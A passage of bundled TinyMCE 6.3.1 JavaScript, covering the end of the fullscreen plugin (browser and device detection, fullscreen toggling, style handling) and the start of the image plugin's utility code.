          r.push(x);
        }
      }
      return r;
    };
    const findUntil = (xs, pred, until) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(x);
        } else if (until(x, i)) {
          break;
        }
      }
      return Optional.none();
    };
    const find$1 = (xs, pred) => {
      return findUntil(xs, pred, never);
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind$3 = (xs, f) => flatten(map(xs, f));
    const get$4 = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get$4(xs, 0);
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };

    const keys = Object.keys;
    const each = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };

    const contains = (str, substr, start = 0, end) => {
      const idx = str.indexOf(substr, start);
      if (idx !== -1) {
        return isUndefined(end) ? true : idx + substr.length <= end;
      } else {
        return false;
      }
    };

    const isSupported$1 = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom(node);
    };
    const fromDom = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom,
      fromPoint
    };

    typeof window !== 'undefined' ? window : Function('return this;')();

    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const type = element => element.dom.nodeType;
    const isType = t => element => type(element) === t;
    const isElement = isType(ELEMENT);
    const isText = isType(TEXT);
    const isDocument = isType(DOCUMENT);
    const isDocumentFragment = isType(DOCUMENT_FRAGMENT);

    const is = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };
    const bypassSelector = dom => dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0;
    const all$1 = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), SugarElement.fromDom);
    };

    const eq = (e1, e2) => e1.dom === e2.dom;

    const owner = element => SugarElement.fromDom(element.dom.ownerDocument);
    const documentOrOwner = dos => isDocument(dos) ? dos : owner(dos);
    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const parents = (element, isRoot) => {
      const stop = isFunction(isRoot) ? isRoot : never;
      let dom = element.dom;
      const ret = [];
      while (dom.parentNode !== null && dom.parentNode !== undefined) {
        const rawParent = dom.parentNode;
        const p = SugarElement.fromDom(rawParent);
        ret.push(p);
        if (stop(p) === true) {
          break;
        } else {
          dom = rawParent;
        }
      }
      return ret;
    };
    const siblings$2 = element => {
      const filterSelf = elements => filter$1(elements, x => !eq(element, x));
      return parent(element).map(children).map(filterSelf).getOr([]);
    };
    const children = element => map(element.dom.childNodes, SugarElement.fromDom);

    const isShadowRoot = dos => isDocumentFragment(dos) && isNonNullable(dos.dom.host);
    const supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode);
    const isSupported = constant(supported);
    const getRootNode = supported ? e => SugarElement.fromDom(e.dom.getRootNode()) : documentOrOwner;
    const getShadowRoot = e => {
      const r = getRootNode(e);
      return isShadowRoot(r) ? Optional.some(r) : Optional.none();
    };
    const getShadowHost = e => SugarElement.fromDom(e.dom.host);
    const getOriginalEventTarget = event => {
      if (isSupported() && isNonNullable(event.target)) {
        const el = SugarElement.fromDom(event.target);
        if (isElement(el) && isOpenShadowHost(el)) {
          if (event.composed && event.composedPath) {
            const composedPath = event.composedPath();
            if (composedPath) {
              return head(composedPath);
            }
          }
        }
      }
      return Optional.from(event.target);
    };
    const isOpenShadowHost = element => isNonNullable(element.dom.shadowRoot);

    const inBody = element => {
      const dom = isText(element) ? element.dom.parentNode : element.dom;
      if (dom === undefined || dom === null || dom.ownerDocument === null) {
        return false;
      }
      const doc = dom.ownerDocument;
      return getShadowRoot(SugarElement.fromDom(dom)).fold(() => doc.body.contains(dom), compose1(inBody, getShadowHost));
    };
    const getBody = doc => {
      const b = doc.dom.body;
      if (b === null || b === undefined) {
        throw new Error('Body is not available yet');
      }
      return SugarElement.fromDom(b);
    };

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const get$3 = (element, key) => {
      const v = element.dom.getAttribute(key);
      return v === null ? undefined : v;
    };
    const remove = (element, key) => {
      element.dom.removeAttribute(key);
    };

    const internalSet = (dom, property, value) => {
      if (!isString(value)) {
        console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported$1(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    const setAll = (element, css) => {
      const dom = element.dom;
      each(css, (v, k) => {
        internalSet(dom, k, v);
      });
    };
    const get$2 = (element, property) => {
      const dom = element.dom;
      const styles = window.getComputedStyle(dom);
      const r = styles.getPropertyValue(property);
      return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r;
    };
    const getUnsafeProperty = (dom, property) => isSupported$1(dom) ? dom.style.getPropertyValue(property) : '';

    const mkEvent = (target, x, y, stop, prevent, kill, raw) => ({
      target,
      x,
      y,
      stop,
      prevent,
      kill,
      raw
    });
    const fromRawEvent = rawEvent => {
      const target = SugarElement.fromDom(getOriginalEventTarget(rawEvent).getOr(rawEvent.target));
      const stop = () => rawEvent.stopPropagation();
      const prevent = () => rawEvent.preventDefault();
      const kill = compose(prevent, stop);
      return mkEvent(target, rawEvent.clientX, rawEvent.clientY, stop, prevent, kill, rawEvent);
    };
    const handle = (filter, handler) => rawEvent => {
      if (filter(rawEvent)) {
        handler(fromRawEvent(rawEvent));
      }
    };
    const binder = (element, event, filter, handler, useCapture) => {
      const wrapped = handle(filter, handler);
      element.dom.addEventListener(event, wrapped, useCapture);
      return { unbind: curry(unbind, element, event, wrapped, useCapture) };
    };
    const bind$2 = (element, event, filter, handler) => binder(element, event, filter, handler, false);
    const unbind = (element, event, handler, useCapture) => {
      element.dom.removeEventListener(event, handler, useCapture);
    };

    const filter = always;
    const bind$1 = (element, event, handler) => bind$2(element, event, filter, handler);

    const cached = f => {
      let called = false;
      let r;
      return (...args) => {
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    const DeviceType = (os, browser, userAgent, mediaMatch) => {
      const isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      const isiPhone = os.isiOS() && !isiPad;
      const isMobile = os.isiOS() || os.isAndroid();
      const isTouch = isMobile || mediaMatch('(pointer:coarse)');
      const isTablet = isiPad || !isiPhone && isMobile && mediaMatch('(min-device-width:768px)');
      const isPhone = isiPhone || isMobile && !isTablet;
      const iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      const isDesktop = !isPhone && !isTablet && !iOSwebview;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview),
        isDesktop: constant(isDesktop)
      };
    };

    const firstMatch = (regexes, s) => {
      for (let i = 0; i < regexes.length; i++) {
        const x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    const find = (regexes, agent) => {
      const r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      const group = i => {
        return Number(agent.replace(r, '$' + i));
      };
      return nu$2(group(1), group(2));
    };
    const detect$3 = (versionRegexes, agent) => {
      const cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown$2();
      }
      return find(versionRegexes, cleanedAgent);
    };
    const unknown$2 = () => {
      return nu$2(0, 0);
    };
    const nu$2 = (major, minor) => {
      return {
        major,
        minor
      };
    };
    const Version = {
      nu: nu$2,
      detect: detect$3,
      unknown: unknown$2
    };

    const detectBrowser$1 = (browsers, userAgentData) => {
      return findMap(userAgentData.brands, uaBrand => {
        const lcBrand = uaBrand.brand.toLowerCase();
        return find$1(browsers, browser => {
          var _a;
          return lcBrand === ((_a = browser.brand) === null || _a === void 0 ? void 0 : _a.toLowerCase());
        }).map(info => ({
          current: info.name,
          version: Version.nu(parseInt(uaBrand.version, 10), 0)
        }));
      });
    };

    const detect$2 = (candidates, userAgent) => {
      const agent = String(userAgent).toLowerCase();
      return find$1(candidates, candidate => {
        return candidate.search(agent);
      });
    };
    const detectBrowser = (browsers, userAgent) => {
      return detect$2(browsers, userAgent).map(browser => {
        const version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version
        };
      });
    };
    const detectOs = (oses, userAgent) => {
      return detect$2(oses, userAgent).map(os => {
        const version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version
        };
      });
    };

    const normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    const checkContains = target => {
      return uastring => {
        return contains(uastring, target);
      };
    };
    const browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: uastring => {
          return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chromium',
        brand: 'Chromium',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: uastring => {
          return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: uastring => {
          return contains(uastring, 'msie') || contains(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: uastring => {
          return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit');
        }
      }
    ];
    const oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: uastring => {
          return contains(uastring, 'iphone') || contains(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'macOS',
        search: checkContains('mac os x'),
        versionRegexes: [/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      },
      {
        name: 'ChromeOS',
        search: checkContains('cros'),
        versionRegexes: [/.*?chrome\/([0-9]+)\.([0-9]+).*/]
      }
    ];
    const PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    const edge = 'Edge';
    const chromium = 'Chromium';
    const ie = 'IE';
    const opera = 'Opera';
    const firefox = 'Firefox';
    const safari = 'Safari';
    const unknown$1 = () => {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu$1 = info => {
      const current = info.current;
      const version = info.version;
      const isBrowser = name => () => current === name;
      return {
        current,
        version,
        isEdge: isBrowser(edge),
        isChromium: isBrowser(chromium),
        isIE: isBrowser(ie),
        isOpera: isBrowser(opera),
        isFirefox: isBrowser(firefox),
        isSafari: isBrowser(safari)
      };
    };
    const Browser = {
      unknown: unknown$1,
      nu: nu$1,
      edge: constant(edge),
      chromium: constant(chromium),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    const windows = 'Windows';
    const ios = 'iOS';
    const android = 'Android';
    const linux = 'Linux';
    const macos = 'macOS';
    const solaris = 'Solaris';
    const freebsd = 'FreeBSD';
    const chromeos = 'ChromeOS';
    const unknown = () => {
      return nu({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu = info => {
      const current = info.current;
      const version = info.version;
      const isOS = name => () => current === name;
      return {
        current,
        version,
        isWindows: isOS(windows),
        isiOS: isOS(ios),
        isAndroid: isOS(android),
        isMacOS: isOS(macos),
        isLinux: isOS(linux),
        isSolaris: isOS(solaris),
        isFreeBSD: isOS(freebsd),
        isChromeOS: isOS(chromeos)
      };
    };
    const OperatingSystem = {
      unknown,
      nu,
      windows: constant(windows),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      macos: constant(macos),
      solaris: constant(solaris),
      freebsd: constant(freebsd),
      chromeos: constant(chromeos)
    };

    const detect$1 = (userAgent, userAgentDataOpt, mediaMatch) => {
      const browsers = PlatformInfo.browsers();
      const oses = PlatformInfo.oses();
      const browser = userAgentDataOpt.bind(userAgentData => detectBrowser$1(browsers, userAgentData)).orThunk(() => detectBrowser(browsers, userAgent)).fold(Browser.unknown, Browser.nu);
      const os = detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      const deviceType = DeviceType(os, browser, userAgent, mediaMatch);
      return {
        browser,
        os,
        deviceType
      };
    };
    const PlatformDetection = { detect: detect$1 };

    const mediaMatch = query => window.matchMedia(query).matches;
    let platform = cached(() => PlatformDetection.detect(navigator.userAgent, Optional.from(navigator.userAgentData), mediaMatch));
    const detect = () => platform();

    const r = (left, top) => {
      const translate = (x, y) => r(left + x, top + y);
      return {
        left,
        top,
        translate
      };
    };
    const SugarPosition = r;

    const get$1 = _DOC => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const x = doc.body.scrollLeft || doc.documentElement.scrollLeft;
      const y = doc.body.scrollTop || doc.documentElement.scrollTop;
      return SugarPosition(x, y);
    };

    const get = _win => {
      const win = _win === undefined ? window : _win;
      if (detect().browser.isFirefox()) {
        return Optional.none();
      } else {
        return Optional.from(win.visualViewport);
      }
    };
    const bounds = (x, y, width, height) => ({
      x,
      y,
      width,
      height,
      right: x + width,
      bottom: y + height
    });
    const getBounds = _win => {
      const win = _win === undefined ? window : _win;
      const doc = win.document;
      const scroll = get$1(SugarElement.fromDom(doc));
      return get(win).fold(() => {
        const html = win.document.documentElement;
        const width = html.clientWidth;
        const height = html.clientHeight;
        return bounds(scroll.left, scroll.top, width, height);
      }, visualViewport => bounds(Math.max(visualViewport.pageLeft, scroll.left), Math.max(visualViewport.pageTop, scroll.top), visualViewport.width, visualViewport.height));
    };
    const bind = (name, callback, _win) => get(_win).map(visualViewport => {
      const handler = e => callback(fromRawEvent(e));
      visualViewport.addEventListener(name, handler);
      return { unbind: () => visualViewport.removeEventListener(name, handler) };
    }).getOrThunk(() => ({ unbind: noop }));

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global = tinymce.util.Tools.resolve('tinymce.Env');

    const fireFullscreenStateChanged = (editor, state) => {
      editor.dispatch('FullscreenStateChanged', { state });
      editor.dispatch('ResizeEditor');
    };

    const option = name => editor => editor.options.get(name);
    const register$2 = editor => {
      const registerOption = editor.options.register;
      registerOption('fullscreen_native', {
        processor: 'boolean',
        default: false
      });
    };
    const getFullscreenNative = option('fullscreen_native');

    const getFullscreenRoot = editor => {
      const elem = SugarElement.fromDom(editor.getElement());
      return getShadowRoot(elem).map(getShadowHost).getOrThunk(() => getBody(owner(elem)));
    };
    const getFullscreenElement = root => {
      if (root.fullscreenElement !== undefined) {
        return root.fullscreenElement;
      } else if (root.msFullscreenElement !== undefined) {
        return root.msFullscreenElement;
      } else if (root.webkitFullscreenElement !== undefined) {
        return root.webkitFullscreenElement;
      } else {
        return null;
      }
    };
    const getFullscreenchangeEventName = () => {
      if (document.fullscreenElement !== undefined) {
        return 'fullscreenchange';
      } else if (document.msFullscreenElement !== undefined) {
        return 'MSFullscreenChange';
      } else if (document.webkitFullscreenElement !== undefined) {
        return 'webkitfullscreenchange';
      } else {
        return 'fullscreenchange';
      }
    };
    const requestFullscreen = sugarElem => {
      const elem = sugarElem.dom;
      if (elem.requestFullscreen) {
        elem.requestFullscreen();
      } else if (elem.msRequestFullscreen) {
        elem.msRequestFullscreen();
      } else if (elem.webkitRequestFullScreen) {
        elem.webkitRequestFullScreen();
      }
    };
    const exitFullscreen = sugarDoc => {
      const doc = sugarDoc.dom;
      if (doc.exitFullscreen) {
        doc.exitFullscreen();
      } else if (doc.msExitFullscreen) {
        doc.msExitFullscreen();
      } else if (doc.webkitCancelFullScreen) {
        doc.webkitCancelFullScreen();
      }
    };
    const isFullscreenElement = elem => elem.dom === getFullscreenElement(owner(elem).dom);

    const ancestors$1 = (scope, predicate, isRoot) => filter$1(parents(scope, isRoot), predicate);
    const siblings$1 = (scope, predicate) => filter$1(siblings$2(scope), predicate);

    const all = selector => all$1(selector);
    const ancestors = (scope, selector, isRoot) => ancestors$1(scope, e => is(e, selector), isRoot);
    const siblings = (scope, selector) => siblings$1(scope, e => is(e, selector));

    const attr = 'data-ephox-mobile-fullscreen-style';
    const siblingStyles = 'display:none!important;';
    const ancestorPosition = 'position:absolute!important;';
    const ancestorStyles = 'top:0!important;left:0!important;margin:0!important;padding:0!important;width:100%!important;height:100%!important;overflow:visible!important;';
    const bgFallback = 'background-color:rgb(255,255,255)!important;';
    const isAndroid = global.os.isAndroid();
    const matchColor = editorBody => {
      const color = get$2(editorBody, 'background-color');
      return color !== undefined && color !== '' ? 'background-color:' + color + '!important' : bgFallback;
    };
    const clobberStyles = (dom, container, editorBody) => {
      const gatherSiblings = element => {
        return siblings(element, '*:not(.tox-silver-sink)');
      };
      const clobber = clobberStyle => element => {
        const styles = get$3(element, 'style');
        const backup = styles === undefined ? 'no-styles' : styles.trim();
        if (backup === clobberStyle) {
          return;
        } else {
          set(element, attr, backup);
          setAll(element, dom.parseStyle(clobberStyle));
        }
      };
      const ancestors$1 = ancestors(container, '*');
      const siblings$1 = bind$3(ancestors$1, gatherSiblings);
      const bgColor = matchColor(editorBody);
      each$1(siblings$1, clobber(siblingStyles));
      each$1(ancestors$1, clobber(ancestorPosition + ancestorStyles + bgColor));
      const containerStyles = isAndroid === true ? '' : ancestorPosition;
      clobber(containerStyles + ancestorStyles + bgColor)(container);
    };
    const restoreStyles = dom => {
      const clobberedEls = all('[' + attr + ']');
      each$1(clobberedEls, element => {
        const restore = get$3(element, attr);
        if (restore && restore !== 'no-styles') {
          setAll(element, dom.parseStyle(restore));
        } else {
          remove(element, 'style');
        }
        remove(element, attr);
      });
    };

    const DOM = global$1.DOM;
    const getScrollPos = () => getBounds(window);
    const setScrollPos = pos => window.scrollTo(pos.x, pos.y);
    const viewportUpdate = get().fold(() => ({
      bind: noop,
      unbind: noop
    }), visualViewport => {
      const editorContainer = value();
      const resizeBinder = unbindable();
      const scrollBinder = unbindable();
      const refreshScroll = () => {
        document.body.scrollTop = 0;
        document.documentElement.scrollTop = 0;
      };
      const refreshVisualViewport = () => {
        window.requestAnimationFrame(() => {
          editorContainer.on(container => setAll(container, {
            top: visualViewport.offsetTop + 'px',
            left: visualViewport.offsetLeft + 'px',
            height: visualViewport.height + 'px',
            width: visualViewport.width + 'px'
          }));
        });
      };
      const update = first(() => {
        refreshScroll();
        refreshVisualViewport();
      }, 50);
      const bind$1 = element => {
        editorContainer.set(element);
        update.throttle();
        resizeBinder.set(bind('resize', update.throttle));
        scrollBinder.set(bind('scroll', update.throttle));
      };
      const unbind = () => {
        editorContainer.on(() => {
          resizeBinder.clear();
          scrollBinder.clear();
        });
        editorContainer.clear();
      };
      return {
        bind: bind$1,
        unbind
      };
    });
    const toggleFullscreen = (editor, fullscreenState) => {
      const body = document.body;
      const documentElement = document.documentElement;
      const editorContainer = editor.getContainer();
      const editorContainerS = SugarElement.fromDom(editorContainer);
      const fullscreenRoot = getFullscreenRoot(editor);
      const fullscreenInfo = fullscreenState.get();
      const editorBody = SugarElement.fromDom(editor.getBody());
      const isTouch = global.deviceType.isTouch();
      const editorContainerStyle = editorContainer.style;
      const iframe = editor.iframeElement;
      const iframeStyle = iframe === null || iframe === void 0 ? void 0 : iframe.style;
      const handleClasses = handler => {
        handler(body, 'tox-fullscreen');
        handler(documentElement, 'tox-fullscreen');
        handler(editorContainer, 'tox-fullscreen');
        getShadowRoot(editorContainerS).map(root => getShadowHost(root).dom).each(host => {
          handler(host, 'tox-fullscreen');
          handler(host, 'tox-shadowhost');
        });
      };
      const cleanup = () => {
        if (isTouch) {
          restoreStyles(editor.dom);
        }
        handleClasses(DOM.removeClass);
        viewportUpdate.unbind();
        Optional.from(fullscreenState.get()).each(info => info.fullscreenChangeHandler.unbind());
      };
      if (!fullscreenInfo) {
        const fullscreenChangeHandler = bind$1(owner(fullscreenRoot), getFullscreenchangeEventName(), _evt => {
          if (getFullscreenNative(editor)) {
            if (!isFullscreenElement(fullscreenRoot) && fullscreenState.get() !== null) {
              toggleFullscreen(editor, fullscreenState);
            }
          }
        });
        const newFullScreenInfo = {
          scrollPos: getScrollPos(),
          containerWidth: editorContainerStyle.width,
          containerHeight: editorContainerStyle.height,
          containerTop: editorContainerStyle.top,
          containerLeft: editorContainerStyle.left,
          iframeWidth: iframeStyle.width,
          iframeHeight: iframeStyle.height,
          fullscreenChangeHandler
        };
        if (isTouch) {
          clobberStyles(editor.dom, editorContainerS, editorBody);
        }
        iframeStyle.width = iframeStyle.height = '100%';
        editorContainerStyle.width = editorContainerStyle.height = '';
        handleClasses(DOM.addClass);
        viewportUpdate.bind(editorContainerS);
        editor.on('remove', cleanup);
        fullscreenState.set(newFullScreenInfo);
        if (getFullscreenNative(editor)) {
          requestFullscreen(fullscreenRoot);
        }
        fireFullscreenStateChanged(editor, true);
      } else {
        fullscreenInfo.fullscreenChangeHandler.unbind();
        if (getFullscreenNative(editor) && isFullscreenElement(fullscreenRoot)) {
          exitFullscreen(owner(fullscreenRoot));
        }
        iframeStyle.width = fullscreenInfo.iframeWidth;
        iframeStyle.height = fullscreenInfo.iframeHeight;
        editorContainerStyle.width = fullscreenInfo.containerWidth;
        editorContainerStyle.height = fullscreenInfo.containerHeight;
        editorContainerStyle.top = fullscreenInfo.containerTop;
        editorContainerStyle.left = fullscreenInfo.containerLeft;
        cleanup();
        setScrollPos(fullscreenInfo.scrollPos);
        fullscreenState.set(null);
        fireFullscreenStateChanged(editor, false);
        editor.off('remove', cleanup);
      }
    };

    const register$1 = (editor, fullscreenState) => {
      editor.addCommand('mceFullScreen', () => {
        toggleFullscreen(editor, fullscreenState);
      });
    };

    const makeSetupHandler = (editor, fullscreenState) => api => {
      api.setActive(fullscreenState.get() !== null);
      const editorEventCallback = e => api.setActive(e.state);
      editor.on('FullscreenStateChanged', editorEventCallback);
      return () => editor.off('FullscreenStateChanged', editorEventCallback);
    };
    const register = (editor, fullscreenState) => {
      const onAction = () => editor.execCommand('mceFullScreen');
      editor.ui.registry.addToggleMenuItem('fullscreen', {
        text: 'Fullscreen',
        icon: 'fullscreen',
        shortcut: 'Meta+Shift+F',
        onAction,
        onSetup: makeSetupHandler(editor, fullscreenState)
      });
      editor.ui.registry.addToggleButton('fullscreen', {
        tooltip: 'Fullscreen',
        icon: 'fullscreen',
        onAction,
        onSetup: makeSetupHandler(editor, fullscreenState)
      });
    };

    var Plugin = () => {
      global$2.add('fullscreen', editor => {
        const fullscreenState = Cell(null);
        if (editor.inline) {
          return get$5(fullscreenState);
        }
        register$2(editor);
        register$1(editor, fullscreenState);
        register(editor, fullscreenState);
        editor.addShortcut('Meta+Shift+F', '', 'mceFullScreen');
        return get$5(fullscreenState);
      });
    };

    Plugin();

})();


/***/ }),
/* 17 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "image" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/image')
//   ES2015:
//     import 'tinymce/plugins/image'
__webpack_require__(18);

/***/ }),
/* 18 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$4 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const getPrototypeOf = Object.getPrototypeOf;
    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq = t => a => t === a;
    const is = (value, constructor) => isObject(value) && hasProto(value, constructor, (o, proto) => getPrototypeOf(o) === proto);
    const isString = isType('string');
    const isObject = isType('object');
    const isPlainObject = value => is(value, Object);
    const isArray = isType('array');
    const isNull = eq(null);
    const isBoolean = isSimpleType('boolean');
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');
    const isArrayOf = (value, pred) => {
      if (isArray(value)) {
        for (let i = 0, len = value.length; i < len; ++i) {
          if (!pred(value[i])) {
            return false;
          }
        }
        return true;
      }
      return false;
    };

    const noop = () => {
    };

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const keys = Object.keys;
    const hasOwnProperty = Object.hasOwnProperty;
    const each = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const filter = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };
    const has = (obj, key) => hasOwnProperty.call(obj, key);
